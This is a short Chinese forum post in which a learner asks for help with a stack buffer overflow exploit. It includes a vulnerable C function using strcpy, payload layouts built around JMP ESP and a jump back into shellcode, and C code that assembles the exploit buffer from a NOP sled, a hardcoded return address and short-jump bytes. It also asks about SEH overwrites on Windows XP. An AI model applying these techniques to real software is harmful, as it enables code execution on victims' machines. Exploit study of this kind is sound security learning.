您好,看了您的方法,我也尝试了一下,我遇到一个很奇怪的问题
向前跳,能够跳到一片nop中,但往往总是出问题.
比如
void overflow(char * s,int size)
{
char s1[320];
printf("receive %d bytes \n",size);
s[size]=0;
strcpy(s1,s);
}
---------------------------------------
[...buffer....][JMP ESP][shellcode] 这样的好构造.
[...buffer..shellcode...buffer][EBP][JMP ESP][JumpBack]
这个有些问题:
1 计算往前跳多少?
2 jmp -0x??h ;是否吧0x??转换成2进制,取反后再加1?
3 能否做一份覆盖seh for xp?
上传一份我学习试验用的程序
buf[320]个字节,足够放shellcode了,请帮忙尝试一下shellcode往前跳
RtlZeroMemory(sploit,sizeof(sploit) -1);
memset(sploit,0x90,sizeof(sploit)-1);
memcpy(sploit+100,shellcode,sizeof(shellcode)-1);
memcpy(sploit+320+4,"\x12\x45\xfa\x7f",4);
memcpy(sploit+320+4+4,"\xeb\x18\xeb\x18",4);//尝试过20,d4,..都跳不过去
printf("%s\n",sploit);
郁闷啊